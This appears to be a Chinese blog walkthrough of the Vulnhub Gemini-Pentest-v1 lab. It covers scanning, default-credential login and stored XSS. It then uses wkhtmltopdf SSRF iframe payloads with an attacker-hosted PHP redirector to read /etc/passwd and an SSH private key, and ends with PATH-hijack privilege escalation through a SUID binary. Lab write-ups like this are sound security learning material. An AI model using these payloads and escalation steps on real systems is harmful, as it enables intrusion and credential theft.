Vulnhub-Gemini-Pentest-v1

Vulnhub-Gemini-Pentest-v1

  1. 主机发现:

    sudo nmap -sn 192.168.210.0/24

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Qe9WsKVp-1681748821663)(assets/image-20230417161931-fnluabd.png)]​

    129为kali IP,所以128应为靶机IP。

  2. 端口扫描:

    TCP端口扫描:

    sudo nmap -sT --min-rate 10000 -p- 192.168.210.128

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-a7J0Ftyj-1681748821664)(assets/image-20230417162107-t4dxzxb.png)]​

    UDP端口扫描:

    sudo nmap -sU --top-ports 1000 192.168.210.128

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oYCt9hSf-1681748821664)(assets/image-20230417162741-b9g8jo8.png)]​

    详细端口扫描:

    sudo nmap -sT -sV -sC -O -p22,80 192.168.210.128 -oA nmapScan/detail

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TEpApNkB-1681748821665)(assets/image-20230417162334-u0kvs4a.png)]

    默认漏洞扫描:

    sudo nmap --script=vuln -p22,80 192.168.210.128 -oA nmapScan/vuln

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-93aiVVMO-1681748821665)(assets/image-20230417162640-g10yfgw.png)]​

  3. web渗透过程

    nmap详细端口扫描结果中,80端口存在两个目录:/test2 , /manual

    浏览器访问:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hDW9Ak0t-1681748821665)(assets/image-20230417163412-wpxmt8w.png)]

    以上信息说明此程序为:这是一个内部web应用程序,旨在让员工查看他们的个人资料详细信息,并允许他们将自己的详细信息导出为PDF格式。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oYO2typO-1681748821665)(assets/image-20230417163400-tsvh10v.png)]

    Apache HTTP Server默认文件。

    目录扫描:

    sudo gobuster dir -u http://192.168.210.128 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z9sYRr0T-1681748821666)(assets/image-20230417163826-ug64vm9.png)]​

    sudo gobuster dir -u http://192.168.210.128/test2 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2RI9MCM0-1681748821666)(assets/image-20230417164141-6ez0jma.png)]​

    回到test2页面,我们可以发现这是一个开源程序,并且给出了github链接:

    https://github.com/ionutvmi/master-login-system

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lwYD2JUl-1681748821666)(assets/image-20230417164114-10mgvb7.png)

    ]通过源码获得默认密码:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K3zqhqIb-1681748821666)(assets/image-20230417165529-44gfjak.png)]​

    尝试登录,登录成功。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OwghfBlb-1681748821666)(assets/image-20230417165547-0c96l9v.png)]​

    PS:不知道为啥,kali的火狐很卡。

    功能点不多,登录退出,修改个人信息,导出文件等功能。

    漏洞1: 存储型XSS

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E5vlg9M9-1681748821667)(assets/image-20230417171048-01jpjd7.png)]​

    导出pdf后,查看PDF具体信息:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KKx7wF6K-1681748821667)(assets/image-20230417171208-4h3u3da.png)]​

    得知使用pdf编辑器wkhtmltopdf进行pdf的转换

    通过网上查找:

    发现存在文件包含,SSRF漏洞。

    wkhtmltopdf 文件包含漏洞 - 美德安全 (virtuesecurity.com)

    使用如下payload去进行本地文件读取:

    <iframe src="file:///etc/passwd" height="500" width="500">​,利用失败。

    使用如下payload:<iframe src="http://fwtv48vs.dnslog.pw" height="500" width="500">​,确定存在SSRF漏洞。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-282OOCpM-1681748821667)(assets/image-20230417180320-etvnx1n.png)]​

    参考以下文章实现从SSRF到本地文件读取。

    SSRF 到本地文件读取 - 哈桑汗安全研究员 (hassankhanyusufzai.com)

    在kali中创建如下文件:

    <?php header('location:file://'.$_REQUEST['url']); ?>
    

    然后使用php -S 192.168.210.129:80​启动web服务。

    然后使用如下payload:

    <iframe height="2000" width="800" src=http://192.168.210.129/exp.php?url=/etc/passwd></iframe>  
    

    导出pdf,成功读取到passwd文件:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QYeTsbda-1681748821667)(assets/image-20230417180810-w41u22t.png)]​

    可以看到root和gemini1用户。

    尝试读取shadow文件失败,读取root和gemini1下的bash_history失败,最后尝试读取/home/gemini1下的私钥文件。

    payload:

    <iframe height="2000" width="800" src=http://192.168.210.129/exp.php?url=/home/gemini1/.ssh/id_rsa></iframe>  
    

    将私钥文件保存为id_rsa文件。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ghMDAYGZ-1681748821667)(assets/image-20230417190121-9uz69ca.png)]​

    chmod 400 id_rsa

    ssh -i id_rsa gemini1@192.168.210.128

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9GMxP61O-1681748821667)(assets/image-20230417190250-10vdsr3.png)]​

    查看内核版本,IP信息:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tygKnlmK-1681748821668)(assets/image-20230417223305-yhhnttk.png)]​

    查看计划任务:

    crontab -l

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JBAj1t67-1681748821668)(assets/image-20230417224950-soacccd.png)]​

    发现该目录下并没有该脚本,并且不能编辑该目录下文件,pass:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ewf0OQzr-1681748821668)(assets/image-20230417225421-5np4q67.png)]​

    查找具有SUID权限的程序:

    find / -perm -u=s -type f 2>/dev/null

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qVD8kxrM-1681748821668)(assets/image-20230417223405-80xq9ux.png)]​

    使用gtfobins查询可知,这些命令都不能使用SUID提权:

    https://gtfobins.github.io/#+suid

    其中listinfo不是系统默认命令,运行以下:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u9yiMAUZ-1681748821668)(assets/image-20230417223528-5s18kr2.png)]​

    发现打印了网卡信息,22,80端口监听情况,以前当选系统时间。

    查看listinfo文本内容:

    strings /usr/bin/listinfo

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xW0ByD56-1681748821669)(assets/image-20230417223741-8eg8s9d.png)]​

    可以看到实际是执行了这几条命令:

    其中date命令没有写绝对路径,我们可以使用Linux环境变量提权,使用listinfo命令去执行我们编译的恶意date脚本,从而达到提权的目的。可以参考以下文章:linux环境下利用环境变量实现本地提权 - FreeBuf网络安全行业门户

    在date.c文件中插入以下内容:

    #include<unistd.h>
    void main()
    {  setuid(0);
       setgid(0);
       system("ps");   //前面那两个的作用也就是以root权限去运行ps命令
    }
    

    gcc date.c -o date​编译该文件。

    export PATH=/home/gemini1:$PATH
    

    将当前目录添加到环境变量中:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uy6MYpmG-1681748821669)(assets/image-20230417224202-ea5v4wx.png)]​

    接下来执行listinfo命令:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BwU32Bi2-1681748821669)(assets/image-20230417224226-yczc4z2.png)]​

    OK,提权成功。

  4. 切换到root目录下获取flag:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2pwOCfm6-1681748821670)(assets/image-20230417224316-1bv69sp.png)]​

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

雨雾_雨屋

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值